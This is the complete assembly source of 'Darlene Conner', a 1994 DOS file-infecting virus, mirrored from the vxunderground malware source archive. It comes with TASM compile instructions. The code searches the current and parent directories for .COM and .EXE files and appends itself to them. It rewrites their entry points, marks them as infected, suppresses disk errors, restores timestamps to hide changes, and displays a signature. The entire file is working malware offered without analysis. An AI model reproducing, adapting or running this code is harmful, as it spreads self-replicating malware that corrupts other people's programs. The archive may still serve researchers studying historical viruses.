mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
318 lines
12 KiB
NASM
318 lines
12 KiB
NASM
; Darlene Conner written by MuTaTiON INTERRUPT
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; To compile this use TASM /M darlene.asm
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code segment public 'code'
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assume cs:code
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org 100h ; All .COM files start here
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ID = 'AB' ; Id for infected files
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start:
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db 0e9h,0,0 ; Jump to the next command
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virus:
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call realcode ; Push current location on stack
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realcode:
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nop
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nop
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pop bp ; Get location off stack
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sub bp,offset realcode ; Adjust it for our pointer
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nop
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nop
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cmp sp,id ; COM or EXE?
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je restoreEXE
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lea si,[bp+offset oldjump] ; Location of old jump in si
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mov di,100h ; Location of where to put it in di
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push di ; Save so we could just return when done
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movsb ; Move a byte
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movsw ; Move a word
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jmp exitrestore
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restoreEXE:
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push ds ; Save ExE ds
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push es ; Save ExE es
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push cs
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pop ds ; DS now equals CS
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push cs
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pop es ; ES now equals CS
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lea si,[bp+jmpsave2]
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lea di,[bp+jmpsave]
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movsw ; Move a word
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movsw ; Move a word
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movsw ; Move a word
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movsw ; Move a word
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ExitRestore:
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lea dx,[bp+offset dta] ; Where to put New DTA
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call set_DTA ; Move it
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mov ax,3524h ; Get int 24 handler
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int 21h ; To ES:BX
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mov word ptr [bp+oldint24],bx ; Save it
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mov word ptr [bp+oldint24+2],es
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mov ah,25h ; Set new int 24 handler
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lea dx,[bp+offset int24] ; DS:DX->new handler
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int 21h
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push cs ; Restore ES
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pop es ; 'cuz it was changed
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mov ah,47h ; Get the current directory
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mov dl,0h ; On current drive
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lea si,[bp+offset currentdir] ; Where to keep it
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int 21h
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dirloop:
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lea dx,[bp+offset exefilespec]
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call findfirst
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lea dx,[bp+offset comfilespec]
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call findfirst
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lea dx,[bp+offset directory] ; Where to change too '..'
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mov ah,3bh ; Change directory
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int 21h
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jnc dirloop ; If no problems the look for files
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mov ah,9 ; Display string
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lea dx,[bp+virusname]
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int 21h
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mov ax,2524h ; Restore int 24 handler
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lds dx,[bp+offset oldint24] ; To original
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int 21h
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push cs
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pop ds ; Do this because the DS gets changed
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lea dx,[bp+offset currentdir] ; Location Of original dir
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mov ah,3bh ; Change to there
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int 21h
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mov dx,80h ; Location of original DTA
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call set_dta ; Put it back there
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cmp sp,id-4 ; EXE or COM?
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jz returnEXE
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retn ; Return to 100h to original jump
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ReturnEXE:
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pop es ; Get original ES
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pop ds ; Get original DS
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mov ax,es
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add ax,10h
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add word ptr cs:[bp+jmpsave+2],ax
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add ax,word ptr cs:[bp+stacksave+2]
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cli ; Clear int's because of stack manipulation
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mov sp,word ptr cs:[bp+stacksave]
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mov ss,ax
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sti
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db 0eah ; Jump ssss:oooo
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jmpsave dd ? ; Jump location
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stacksave dd ? ; Original cs:ip
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jmpsave2 dd 0fff00000h ; Used with carrier file
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stacksave2 dd ?
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findfirst:
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mov ah,4eh ; Find first file
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mov cx,7 ; Find all attributes
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findnext:
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int 21h ; Find first/next file int
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jc quit ; If none found then change dir
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call infection ; Infect that file
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Findnext2:
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mov ah,4fh ; Find next file
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jmp findnext ; Jump to the loop
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quit:
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ret
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infection:
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mov ax,3d00h ; Open file for read only
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call open
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mov ah,3fh ; Read from file
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mov cx,1ah
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lea dx,[bp+offset buffer] ; Location to store them
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int 21h
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mov ah,3eh ; Close file
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int 21h
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cmp word ptr [bp+buffer],'ZM' ; EXE?
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jz checkEXE ; Why yes, yes it is!
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mov ax,word ptr [bp+DTA+35] ; Get end of file name in ax
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cmp ax,'DN' ; Does End in comma'ND'? (reverse order)
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jz quitinfect ; Yup so get another file
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CheckCom:
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mov bx,[bp+offset dta+1ah] ; Get file size
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mov cx,word ptr [bp+buffer+1] ; Get jump loc of file
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add cx,eof-virus+3 ; Add for virus size
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cmp bx,cx ; Does file size=file jump+virus size
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jz quitinfect ; Yup then get another file
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jmp infectcom
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CheckExe:
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cmp word ptr [bp+buffer+10h],id ; Check EXE for infection
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jz quitinfect ; Already infected so close up
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jmp infectexe
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quitinfect:
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ret
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InfectCom:
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sub bx,3 ; Adjust for new jump
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lea si,[bp+buffer]
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lea di,[bp+oldjump]
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movsw
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movsb
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mov [bp+buffer],byte ptr 0e9h
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mov word ptr [bp+buffer+1],bx ; Save for later
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mov cx,3 ; Number of bytes to write
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jmp finishinfection
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InfectExe:
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les ax,dword ptr [bp+buffer+14h] ; Load es with seg address
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mov word ptr [bp+jmpsave2],ax ; save old cs:ip
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mov word ptr [bp+jmpsave2+2],es
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les ax,dword ptr [bp+buffer+0eh] ; save old ss:sp
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mov word ptr [bp+stacksave2],es ; save old cs:ip
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mov word ptr [bp+stacksave2+2],ax
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mov ax, word ptr [bp+buffer+8] ; get header size
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mov cl,4
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shl ax,cl
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xchg ax,bx
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les ax,[bp+offset DTA+26] ; get files size from dta
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mov dx,es ; its now in dx:ax
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push ax ; save these
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push dx
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sub ax,bx ; subtract header size from fsize
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sbb dx,0 ; subtract the carry too
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mov cx,10h ; convert to segment:offset form
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div cx
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mov word ptr [bp+buffer+14h],dx ; put in new header
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mov word ptr [bp+buffer+16h],ax ; cs:ip
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mov word ptr [bp+buffer+0eh],ax ; ss:sp
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mov word ptr [bp+buffer+10h],id ; put id in for later
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pop dx ; get the file length back
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pop ax
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add ax,eof-virus ; add virus size
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adc dx,0 ; add with carry
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mov cl,9 ; calculates new file size
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push ax
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shr ax,cl
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ror dx,cl
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stc
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adc dx,ax
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pop ax
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and ah,1
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mov word ptr [bp+buffer+4],dx ; save new file size in header
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mov word ptr [bp+buffer+2],ax
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push cs ; es = cs
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pop es
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mov cx,1ah ; Number of bytes to write (Header)
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FinishInfection:
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push cx ; save # of bytes to write
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xor cx,cx ; Set attriutes to none
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call attributes
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mov al,2 ; open file read/write
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call open
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mov ah,40h ; Write to file
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lea dx,[bp+buffer] ; Location of bytes
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pop cx ; Get number of bytes to write
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int 21h
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jc closefile
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mov al,02 ; Move Fpointer to eof
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Call move_fp
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mov ah,40h ; Write virus to file
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mov cx,eof-virus ; Size of virus
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lea dx,[bp+offset virus] ; Location to start from
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int 21h
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closefile:
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mov ax,5701h ; Set files date/time back
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mov cx,word ptr [bp+dta+16h] ; Get old time from dta
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mov dx,word ptr [bp+dta+18h] ; Get old date
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int 21h
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mov ah,3eh ; Close file
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int 21h
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xor cx,cx
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mov cl,byte ptr [bp+dta+15h] ; Get old Attributes
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call attributes
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retn
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move_fp:
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mov ah,42h ; Move file pointer
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xor cx,cx ; Al has location
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xor dx,dx ; Clear these
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int 21h
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retn
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set_dta:
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mov ah,1ah ; Move the DTA location
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int 21h
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retn
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open:
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mov ah,3dh ; open file
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lea dx,[bp+DTA+30] ; filename in DTA
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int 21h
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xchg ax,bx ; file handle in bx
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ret
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attributes:
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mov ax,4301h ; Set attributes to cx
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lea dx,[bp+DTA+30] ; filename in DTA
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int 21h
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ret
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int24: ; New int 24h (error) handler
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mov al,3 ; Fail call
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iret ; Return from int 24 call
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Virusname db 'Darlene Conner - Basketball Anyone?',10,13 ; Name Of The Virus
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Author db 'MuTaTiON INTERRUPT',10,13 ; Author Of This Virus
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Made_with db '[NOVEMBER 1994]',10,13,'$' ; Please do not remove this
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comfilespec db '*.com',0 ; Holds type of file to look for
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exefilespec db '*.exe',0 ; Holds type of file to look for
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directory db '..',0 ; Directory to change to
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oldjump db 0cdh,020h,0h ; Old jump. Is int 20h for file quit
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eof equ $ ; Marks the end of file
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currentdir db 64 dup (?) ; Holds the current dir
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dta db 42 dup (?) ; Location of new DTA
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buffer db 1ah dup (?) ; Holds exe header
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oldint24 dd ? ; Storage for old int 24h handler
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code ends
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end start
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